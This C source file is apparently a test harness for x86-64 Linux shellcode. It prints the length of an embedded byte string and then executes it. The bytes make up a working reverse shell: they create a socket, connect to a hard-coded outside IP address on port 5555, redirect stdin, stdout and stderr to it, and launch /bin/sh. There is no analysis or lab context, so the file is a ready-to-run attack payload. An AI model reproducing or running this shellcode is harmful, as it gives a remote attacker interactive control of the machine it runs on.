#include <string.h>
#include <stdio.h>

unsigned char shellcode[] = \

"\xeb\x7b\x48\x31\xc0\x04\x29\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xf6\x40\x80\xc6\x01\x48\x31\xd2\x0f\x05\x40\x88\xc7\x41\x88\
\xc7\xb0\x2a\xc7\x44\x24\xf4\x2d\xe0\x2b\x46\x66\xc7\x44\x24\xf2\x15\xb3\x41\xb2\x02\xc6\x44\x24\xf0\x02\x48\x8d\x74\x24\xf0\
\xb2\x10\x0f\x05\x04\x21\x44\x88\xff\x48\x31\xf6\x0f\x05\xb0\x21\x48\x31\xf6\x48\x83\xc6\x01\x0f\x05\xb0\x21\x48\x31\xf6\x48\
\x83\xc6\x02\x0f\x05\x48\x31\xc0\x5f\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\
\x05\xe8\x80\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43";

int main() {

	printf("Shellcode length: %d\n\n", (int)strlen(shellcode));

	int (*run)() = (int(*)())shellcode;
	run();
}
